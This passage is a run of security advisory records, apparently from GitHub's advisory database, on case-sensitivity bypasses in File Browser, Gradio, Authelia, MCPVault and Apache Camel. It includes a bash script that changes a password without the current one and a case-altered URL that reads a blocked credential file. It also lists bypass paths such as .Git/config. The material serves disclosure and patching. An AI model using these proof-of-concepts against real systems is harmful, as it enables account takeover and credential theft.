\u003cnew_password\u003e\n\nTARGET=\"$1\"\nUSERNAME=\"$2\"\nCURRENT_PASS=\"$3\"\nNEW_PASS=\"$4\"\n\n# Login\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"username\\\":\\\"$USERNAME\\\",\\\"password\\\":\\\"$CURRENT_PASS\\\"}\")\n\n# Get user ID from token\nUSER_ID=$(echo \"$TOKEN\" | python3 -c \"\nimport sys,json,base64\nparts=input().split(\u0027.\u0027)\npayload=json.loads(base64.b64decode(parts[1]+\u0027==\u0027))\nprint(payload[\u0027user\u0027][\u0027id\u0027])\n\")\n\n# Exploit: Change password without current_password\ncurl -s -X PUT \"$TARGET/api/users/$USER_ID\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"what\\\": \\\"user\\\",\n \\\"which\\\": [\\\"Password\\\"],\n \\\"data\\\": {\\\"id\\\": $USER_ID, \\\"password\\\": \\\"$NEW_PASS\\\"}\n }\"\n\necho \"Password changed to: $NEW_PASS\"\n```\n\n---\n\n## Impact\n\n### Who is Impacted\n\n- **All Filebrowser users** using JSON authentication method (default configuration)\n- Any user whose JWT token can be obtained by an attacker\n- Particularly high-value targets: administrator accounts\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| XSS + Token Theft | Complete account takeover |\n| JWT in Server Logs | Mass account compromise |\n| Shared Computer | Session hijacking |\n| Malicious Browser Extension | Credential theft |\n\n### Security Impact\n\n| Category | Severity |\n|----------|----------|\n| Confidentiality | **High** - Attacker gains full account access |\n| Integrity | **High** - Attacker can modify all user data |\n| Availability | **High** - Legitimate user locked out |\n\n### Scope\n\n- The vulnerability affects **password modification only**\n- Other sensitive fields (`Username`, `Scope`, `Perm`, etc.) have additional protection via `NonModifiableFieldsForNonAdmin` check\n- However, for **administrators**, all fields can be modified using this bypass technique\n\n---\n\n## Suggested Fix\n\n### Option 1: Case-insensitive field matching (Recommended)\n\n```go\n// Convert field to lowercase before checking\nfor _, field := range req.Which {\n if _, ok := sensibleFields[strings.ToLower(field)]; ok {\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n}\n```\n\n### Option 2: Use Title Case in sensibleFields\n\n```go\nvar sensibleFields = map[string]struct{}{\n \"All\": {},\n \"Username\": {},\n \"Password\": {}, // Title Case to match post-transformation\n \"Scope\": {},\n \"LockPassword\": {},\n \"Commands\": {},\n \"Perm\": {},\n}\n\n// Check AFTER field name transformation\nfor k, v := range req.Which {\n v = cases.Title(language.English, cases.NoLower).String(v)\n req.Which[k] = v\n \n // Now check with Title Case\n if _, ok := sensibleFields[v]; ok {\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n}\n```\n\n---\n\n## References\n\n- Affected File: `http/users.go`\n- Affected Lines: 181-200\n- Related Code: `NonModifiableFieldsForNonAdmin` (line 17)",
"id": "GHSA-hxw8-4h9j-hq2r",
"modified": "2026-02-10T02:56:29Z",
"published": "2026-02-10T00:22:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-hxw8-4h9j-hq2r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25889"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/ff2f00498cff151e2fb1f5f0b16963bf33c3d6d4"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.57.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "File Browser has an Authentication Bypass in User Password Update"
}
GHSA-J2JG-FQ62-7C3H
Vulnerability from github – Published: 2025-01-14 16:32 – Updated: 2026-06-05 17:54Summary
Gradio's Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected.
This issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio's security model. Given Gradio's popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments.
Affected Version
Gradio <= 5.6.0
Impact
-
Unauthorized Access: Sensitive files or directories specified in
blocked_pathscan be accessed by attackers. -
Data Exposure: Critical files, such as configuration files or user data, may be leaked.
-
Security Breach: This can lead to broader application or system compromise if sensitive files contain credentials or API keys.
Root Cause
The blocked_paths parameter in Gradio block's initial configuration is designed to restrict user access to specific files or directories in the local file system. However, it does not account for case-insensitive operating systems, such as Windows and macOS. This oversight enables attackers to bypass ACL restrictions by changing the case of file paths.
Vulnerable snippet:
# https://github.com/gradio-app/gradio/blob/main/gradio/utils.py#L1500-L1517
def is_allowed_file(
path: Path,
blocked_paths: Sequence[str | Path],
allowed_paths: Sequence[str | Path],
created_paths: Sequence[str | Path],
) -> tuple[
bool, Literal["in_blocklist", "allowed", "created", "not_created_or_allowed"]
]:
in_blocklist = any(
is_in_or_equal(path, blocked_path) for blocked_path in blocked_paths
)
if in_blocklist:
return False, "in_blocklist"
if any(is_in_or_equal(path, allowed_path) for allowed_path in allowed_paths):
return True, "allowed"
if any(is_in_or_equal(path, created_path) for created_path in created_paths):
return True, "created"
return False, "not_created_or_allowed"
Gradio relies on is_in_or_equal to determine if a file path is restricted. However, this logic fails to handle case variations in paths on case-insensitive file systems, leading to the bypass.
Proof of Concept (PoC)
Steps to Reproduce
- Deploy a Gradio demo app on a case-insensitive operating system (e.g., Windows or macOS).
```bash import gradio as gr def update(name): return f"Welcome to Gradio, {name}!"
with gr.Blocks() as demo: gr.Markdown("Start typing below and then click Run to see the output.") with gr.Row(): inp = gr.Textbox(placeholder="What is your name?") out = gr.Textbox() btn = gr.Button("Run") btn.click(fn=update, inputs=inp, outputs=out)
demo.launch(blocked_paths=['resources/admin'], allowed_paths=['resources/']) ```
-
Set up the file system:
-
Create a folder named
resourcesin the same directory as the app, containing a file1.txt. -
Inside the
resourcesfolder, create a subfolder namedadmincontaining a sensitive filecredential.txt(this file should be inaccessible due toblocked_paths). -
Perform the attack:
-
Access the sensitive file using a case-altered path:
http://127.0.0.1:PORT/gradio_api/file=resources/adMin/credential.txt
Expected Result
Access to resources/admin/credential.txt should be blocked.
Actual Result
By altering the case in the path (e.g., adMin), the blocked ACL is bypassed, and unauthorized access to the sensitive file is granted.

This demonstration highlights that flipping the case of restricted paths allows attackers to bypass Gradio's ACL and access sensitive data.
Remediation Recommendations
-
Normalize Path Case:
-
Before evaluating paths against the ACL, normalize the case of both the requested path and the blocked paths (e.g., convert all paths to lowercase).
-
Example:
python normalized_path = str(path).lower() normalized_blocked_paths = [str(p).lower() for p in blocked_paths] -
Update Documentation:
-
Warn developers about potential risks when deploying Gradio on case-insensitive file systems.
-
Release Security Patches:
-
Notify users of the vulnerability and release an updated version of Gradio with the fixed logic.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gradio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-23042"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-14T16:32:22Z",
"nvd_published_at": "2025-01-14T19:15:44Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nGradio\u0027s Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected.\n\nThis issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio\u0027s security model. Given Gradio\u0027s popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments.\n\n## Affected Version\n\nGradio \u003c= 5.6.0\n\n## Impact\n\n- **Unauthorized Access**: Sensitive files or directories specified in `blocked_paths` can be accessed by attackers.\n\n- **Data Exposure**: Critical files, such as configuration files or user data, may be leaked.\n\n- **Security Breach**: This can lead to broader application or system compromise if sensitive files contain credentials or API keys.\n\n## Root Cause\n\nThe [`blocked_paths`](https://github.com/gradio-app/gradio/blob/main/gradio/blocks.py#L2310) parameter in Gradio block\u0027s initial configuration is designed to restrict user access to specific files or directories in the local file system. However, it does not account for case-insensitive operating systems, such as Windows and macOS. This oversight enables attackers to bypass ACL restrictions by changing the case of file paths.\n\nVulnerable snippet: \n\n```python\n# https://github.com/gradio-app/gradio/blob/main/gradio/utils.py#L1500-L1517\ndef is_allowed_file(\n path: Path,\n blocked_paths: Sequence[str | Path],\n allowed_paths: Sequence[str | Path],\n created_paths: Sequence[str | Path],\n) -\u003e tuple[\n bool, Literal[\"in_blocklist\", \"allowed\", \"created\", \"not_created_or_allowed\"]\n]:\n in_blocklist = any(\n is_in_or_equal(path, blocked_path) for blocked_path in blocked_paths\n )\n if in_blocklist:\n return False, \"in_blocklist\"\n if any(is_in_or_equal(path, allowed_path) for allowed_path in allowed_paths):\n return True, \"allowed\"\n if any(is_in_or_equal(path, created_path) for created_path in created_paths):\n return True, \"created\"\n return False, \"not_created_or_allowed\"\n```\n\nGradio relies on `is_in_or_equal` to determine if a file path is restricted. However, this logic fails to handle case variations in paths on case-insensitive file systems, leading to the bypass.\n\n## Proof of Concept (PoC)\n\n### Steps to Reproduce\n\n- Deploy a Gradio demo app on a case-insensitive operating system (e.g., Windows or macOS).\n\n ```bash\n import gradio as gr\n def update(name):\n return f\"Welcome to Gradio, {name}!\"\n \n with gr.Blocks() as demo:\n gr.Markdown(\"Start typing below and then click **Run** to see the output.\")\n with gr.Row():\n inp = gr.Textbox(placeholder=\"What is your name?\")\n out = gr.Textbox()\n btn = gr.Button(\"Run\")\n btn.click(fn=update, inputs=inp, outputs=out)\n \n demo.launch(blocked_paths=[\u0027resources/admin\u0027], allowed_paths=[\u0027resources/\u0027])\n ```\n\n- Set up the file system:\n\n - Create a folder named `resources` in the same directory as the app, containing a file `1.txt`.\n\n - Inside the `resources` folder, create a subfolder named `admin` containing a sensitive file `credential.txt` (this file should be inaccessible due to `blocked_paths`).\n\n- Perform the attack:\n\n - Access the sensitive file using a case-altered path:\n\n ```\n http://127.0.0.1:PORT/gradio_api/file=resources/adMin/credential.txt\n ```\n\n### Expected Result\n\nAccess to `resources/admin/credential.txt` should be blocked.\n\n### Actual Result\n\nBy altering the case in the path (e.g., `adMin`), the blocked ACL is bypassed, and unauthorized access to the sensitive file is granted.\n\n\n\nThis demonstration highlights that flipping the case of restricted paths allows attackers to bypass Gradio\u0027s ACL and access sensitive data.\n\n## Remediation Recommendations\n\n1. **Normalize Path Case**:\n\n - Before evaluating paths against the ACL, normalize the case of both the requested path and the blocked paths (e.g., convert all paths to lowercase).\n\n - Example:\n\n ```python\n normalized_path = str(path).lower()\n normalized_blocked_paths = [str(p).lower() for p in blocked_paths]\n ```\n\n2. **Update Documentation**:\n\n - Warn developers about potential risks when deploying Gradio on case-insensitive file systems.\n\n3. **Release Security Patches**:\n\n - Notify users of the vulnerability and release an updated version of Gradio with the fixed logic.\n\n##",
"id": "GHSA-j2jg-fq62-7c3h",
"modified": "2026-06-05T17:54:51Z",
"published": "2025-01-14T16:32:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-j2jg-fq62-7c3h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23042"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/commit/6b63fdec441b5c9bf910f910a2505d8defbb6bf8"
},
{
"type": "PACKAGE",
"url": "https://github.com/gradio-app/gradio"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/releases/tag/gradio%405.11.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2025-118.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gradio Blocked Path ACL Bypass Vulnerability"
}
GHSA-J748-H363-WQJ8
Vulnerability from github – Published: 2026-06-26 22:32 – Updated: 2026-06-26 22:32Impact
CVSSv4 Baseline Score: Low 2.4
CVSSv4 Weighted Score: Low 1.3
The full CVSSv4 Vector for this vulnerability is:
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:H/IR:L/AR:L/MAV:N/MAC:H/MAT:P/MPR:L/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Amber
CVSSv3.1 Baseline Score: Low 3.1
CVSSv3.1 Overall Score: Low 3.4
The full CVSSv3.1 Vector equivalent for this vulnerability is:
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C/CR:H/IR:L/AR:L/MAV:N/MAC:H/MPR:L/MUI:X/MS:U/MC:L/MI:N/MA:N
The weighted severity rating is a result of no indication this is currently being exploited being available at the time of the publish date, in addition to the fact it's unlikely that it is being exploited currently. The vectors have been picked based on the scenario most likely to exist in real configurations.
In addition to the weighting our assessment considers the fact the configuration scenario required for this vulnerability to be exploited is highly unlikely and an attacker is unlikely in most scenarios to be able to determine if the exploit is available and if it was successful except in rare situations. Though the visibility to the attacker was not reflected in our assessment.
Summary
Due to lack of canonicalization of domains in very specific edge cases an access control rule may be skipped when it should match a request.
Details
This attack vector must be executed in a highly specific scenario which we do not believe any user would find themselves in. In an abundance of caution we are issuing this advisory and would appreciate any users who find this configuration report it to us with both the access control section, and sessions section so that we can best advise the community of the actual impact.
The specific conditions that could lead to a security issue for vulnerability are as follows:
- The specific target resource of the attack must be using the forwarded authorization integration.
- The requested domain must have two additional segments compared to a session domain i.e.
a.b.example.comis requested, but the session domain isexample.com. - There access control rules must specify two separate rules which both contain inexact domain matches such as
*.b.example.comand*.example.comi.e. wildcards, username matches, group matches. - The rules must be in order of most specific domain to least specific domain.
- The second rule must be more permissive than the first rule.
- The second rule must also match all criteria of the given request.
- The attacker must specifically request a URL for the more specific domain, with the second part containing one or more capitalized letters i.e.
https://a.B.example.comand no other segment with capitalized letters. - The integration used must not be the Envoy ExtAuthz integration.
- The proxy must not canonicalize the requested host name in the relevant header before sending it to the relevant authorization endpoint.
The kind of configuration used to produce this issue and result in a bypass rule being matched has long been highly discouraged. Essentially hosts which should be bypassed entirely should not be secured by having the proxy check them with the authorization handlers.
It should also be noted this has been heavily mitigated due to another bug where the session domain would not match if any part of the configured session domain was capitalized (fixed in https://github.com/authelia/authelia/commit/368631ecc5a9c6bcf2ff5f892ad443b890dd945e, it should be expressly noted this commit does not contain a fix for a CVE). This bug would prevent the request from succeeding in any way. This bug will also be fixed after this vulnerability is fixed, and the bug where session domains would not match has no security impact other than heavily mitigating the access control vulnerability.
Patches
Upgrade to 4.39.20.
Commit: https://github.com/authelia/authelia/commit/b6d1d60baa02f216fdb19f5dfeaf2e805829508a
Workarounds
See the below examples for configurations to avoid.
Examples
1FA Downgrade
The following example could result in a 1FA downgrade.
Request URL: https://a.B.example.com
Configuration:
session:
cookies:
- domain: 'example.com'
authelia_url: 'https://example.com'
access_control:
rules:
- domain: '*.b.example.com'
policy: 'two_factor'
- domain: '*.example.com'
policy: 'one_factor'
Bypass Downgrade
The following example could result in a bypass downgrade. It should be noted that configurations like this have long been discouraged. The domains matching the pattern *.example.com should not be configured to forward authorization requests to Authelia in most situations.
Request URL: https://a.B.example.com
Configuration:
session:
cookies:
- domain: 'example.com'
authelia_url: 'https://example.com'
access_control:
rules:
- domain: '*.b.example.com'
policy: 'two_factor'
- domain: '*.example.com'
policy: 'bypass'
Unaffected Scenario
The following configuration is unaffected regardless of the request.
session:
cookies:
- domain: 'example.com'
authelia_url: 'https://example.com'
access_control:
rules:
- domain: 'b.example.com'
policy: 'two_factor'
- domain: '*.example.com'
policy: 'one_factor'
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.39.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/authelia/authelia/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.36.0"
},
{
"fixed": "4.39.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48794"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:32:21Z",
"nvd_published_at": "2026-06-19T21:17:01Z",
"severity": "LOW"
},
"details": "### Impact\n\n**CVSSv4 Baseline Score:** Low 2.4\n\n**CVSSv4 Weighted Score:** Low 1.3\n\nThe full CVSSv4 Vector for this vulnerability is:\n\n\u003e CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:H/IR:L/AR:L/MAV:N/MAC:H/MAT:P/MPR:L/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Amber\n\n**CVSSv3.1 Baseline Score:** Low 3.1\n\n**CVSSv3.1 Overall Score:** Low 3.4\n\nThe full CVSSv3.1 Vector equivalent for this vulnerability is:\n\n\u003e CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C/CR:H/IR:L/AR:L/MAV:N/MAC:H/MPR:L/MUI:X/MS:U/MC:L/MI:N/MA:N\n\nThe weighted severity rating is a result of no indication this is currently being exploited being available at the time of the publish date, in addition to the fact it\u0027s unlikely that it is being exploited currently. The vectors have been picked based on the scenario most likely to exist in real configurations.\n\nIn addition to the weighting our assessment considers the fact the configuration scenario required for this vulnerability to be exploited is highly unlikely and an attacker is unlikely in most scenarios to be able to determine if the exploit is available and if it was successful except in rare situations. Though the visibility to the attacker was not reflected in our assessment.\n\n### Summary\n\nDue to lack of canonicalization of domains in very specific edge cases an access control rule may be skipped when it should match a request.\n\n### Details\n\nThis attack vector must be executed in a highly specific scenario which we do not believe any user would find themselves in. In an abundance of caution we are issuing this advisory and would appreciate any users who find this configuration report it to us with both the access control section, and sessions section so that we can best advise the community of the actual impact.\n\nThe specific conditions that could lead to a security issue for vulnerability are as follows:\n\n1. The specific target resource of the attack must be using the forwarded authorization integration.\n2. The requested domain must have two additional segments compared to a session domain i.e. `a.b.example.com` is requested, but the session domain is `example.com`.\n3. There access control rules must specify two separate rules which both contain inexact domain matches such as `*.b.example.com` and `*.example.com` i.e. wildcards, username matches, group matches.\n4. The rules must be in order of most specific domain to least specific domain.\n5. The second rule must be **more permissive** than the first rule.\n6. The second rule must also **match all criteria** of the given request.\n7. The attacker must specifically request a URL for the more specific domain, with the second part containing one or more capitalized letters i.e. `https://a.B.example.com` and no other segment with capitalized letters.\n8. The integration used must not be the Envoy ExtAuthz integration.\n9. The proxy must not canonicalize the requested host name in the relevant header before sending it to the relevant authorization endpoint.\n\nThe kind of configuration used to produce this issue and result in a `bypass` rule being matched has long been highly discouraged. Essentially hosts which should be bypassed entirely should not be secured by having the proxy check them with the authorization handlers.\n\nIt should also be noted this has been heavily mitigated due to another bug where the session domain would not match if any part of the configured session domain was capitalized (fixed in https://github.com/authelia/authelia/commit/368631ecc5a9c6bcf2ff5f892ad443b890dd945e, it should be expressly noted this commit does not contain a fix for a CVE). This bug would prevent the request from succeeding in any way. This bug will also be fixed after this vulnerability is fixed, and the bug where session domains would not match has no security impact other than heavily mitigating the access control vulnerability.\n\n### Patches\n\nUpgrade to 4.39.20.\n\nCommit: https://github.com/authelia/authelia/commit/b6d1d60baa02f216fdb19f5dfeaf2e805829508a\n\n### Workarounds\n\nSee the below examples for configurations to avoid.\n\n#### Examples\n\n##### 1FA Downgrade\n\nThe following example could result in a 1FA downgrade.\n\n**Request URL:** `https://a.B.example.com`\n\n**Configuration:**\n\n```yaml\nsession:\n cookies:\n - domain: \u0027example.com\u0027\n authelia_url: \u0027https://example.com\u0027\naccess_control:\n rules:\n - domain: \u0027*.b.example.com\u0027\n policy: \u0027two_factor\u0027\n - domain: \u0027*.example.com\u0027\n policy: \u0027one_factor\u0027\n```\n\n##### Bypass Downgrade\n\nThe following example could result in a bypass downgrade. It should be noted that configurations like this have long been discouraged. The domains matching the pattern `*.example.com` should not be configured to forward authorization requests to Authelia in most situations.\n\n**Request URL:** `https://a.B.example.com`\n\n**Configuration:**\n\n```yaml\nsession:\n cookies:\n - domain: \u0027example.com\u0027\n authelia_url: \u0027https://example.com\u0027\naccess_control:\n rules:\n - domain: \u0027*.b.example.com\u0027\n policy: \u0027two_factor\u0027\n - domain: \u0027*.example.com\u0027\n policy: \u0027bypass\u0027\n```\n\n##### Unaffected Scenario\n\nThe following configuration is unaffected regardless of the request.\n\n```yaml\nsession:\n cookies:\n - domain: \u0027example.com\u0027\n authelia_url: \u0027https://example.com\u0027\naccess_control:\n rules:\n - domain: \u0027b.example.com\u0027\n policy: \u0027two_factor\u0027\n - domain: \u0027*.example.com\u0027\n policy: \u0027one_factor\u0027\n```",
"id": "GHSA-j748-h363-wqj8",
"modified": "2026-06-26T22:32:21Z",
"published": "2026-06-26T22:32:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authelia/authelia/security/advisories/GHSA-j748-h363-wqj8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48794"
},
{
"type": "WEB",
"url": "https://github.com/authelia/authelia/commit/b6d1d60baa02f216fdb19f5dfeaf2e805829508a"
},
{
"type": "PACKAGE",
"url": "https://github.com/authelia/authelia"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Authelia has an Edge Case Access Control Rule Mismatch"
}
GHSA-J99Q-93C9-H869
Vulnerability from github – Published: 2026-06-18 14:30 – Updated: 2026-06-18 14:30On case-insensitive filesystems (macOS, Windows), PathFilter compiled its deny-list patterns case-sensitively and matched the path verbatim, so names like .Git/config, .GIT/config, or .oBsIdIaN/secrets.md slipped past the .git/.obsidian/node_modules restriction while the OS opened the real file. On Windows, trailing dots/spaces (.git./config, .git /config) bypassed it the same way. Affects both isAllowed (read/write/move/search) and isAllowedForListing. Vault-root .. containment is NOT affected. Fixed in 0.11.4 by case-insensitive matching plus per-segment canonicalization before the deny-list check. Reported privately by novice-22.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@bitbonsai/mcpvault"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-41"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:30:43Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "On case-insensitive filesystems (macOS, Windows), PathFilter compiled its deny-list patterns case-sensitively and matched the path verbatim, so names like `.Git/config`, `.GIT/config`, or `.oBsIdIaN/secrets.md` slipped past the `.git`/`.obsidian`/`node_modules` restriction while the OS opened the real file. On Windows, trailing dots/spaces (`.git./config`, `.git /config`) bypassed it the same way. Affects both `isAllowed` (read/write/move/search) and `isAllowedForListing`. Vault-root `..` containment is NOT affected. Fixed in 0.11.4 by case-insensitive matching plus per-segment canonicalization before the deny-list check. Reported privately by novice-22.",
"id": "GHSA-j99q-93c9-h869",
"modified": "2026-06-18T14:30:43Z",
"published": "2026-06-18T14:30:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bitbonsai/mcpvault/security/advisories/GHSA-j99q-93c9-h869"
},
{
"type": "PACKAGE",
"url": "https://github.com/bitbonsai/mcpvault"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCPVault: PathFilter restricted-directory deny-list bypass via case and trailing dot/space equivalence"
}
GHSA-JG2M-9X48-3GVJ
Vulnerability from github – Published: 2026-04-27 09:34 – Updated: 2026-05-22 13:10The fix for CVE-2025-27636 added setLowerCase(true) to HttpHeaderFilterStrategy so that case-variant header names such as 'CAmelExecCommandExecutable' are filtered out alongside 'CamelExecCommandExecutable'. The same setLowerCase(true) call was not applied to five non-HTTP HeaderFilterStrategy implementations: JmsHeaderFilterStrategy and ClassicJmsHeaderFilterStrategy in camel-jms, SjmsHeaderFilterStrategy in camel-sjms, CoAPHeaderFilterStrategy in camel-coap, and GooglePubsubHeaderFilterStrategy in camel-google-pubsub. Because those strategies use case-sensitive String.startsWith('Camel'/'camel') filtering while the Camel Exchange stores headers in a case-insensitive map, an attacker with JMS (or equivalent) producer access to the broker consumed by a Camel route can inject case-variant Camel internal headers, which are then resolved by downstream components such as camel-exec and camel-file using their canonical casing. This enables remote code execution and arbitrary file write on routes that forward JMS messages to header-driven components.
This issue affects Apache Camel: from 3.0.0 before 4.14.6, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0.
Users are recommended to upgrade to version 4.20.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.2.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-coap"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-coap"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-coap"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.20.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-google-pubsub"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-google-pubsub"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-google-pubsub"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.20.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-jms"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-jms"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-jms"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.20.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-sjms"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.14.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-sjms"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.18.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-sjms"
},
"ranges": [
{
"events": [
{
"introduced": "4.19.0"
},
{
"fixed": "4.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40453"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-22T13:10:44Z",
"nvd_published_at": "2026-04-27T09:16:01Z",
"severity": "CRITICAL"
},
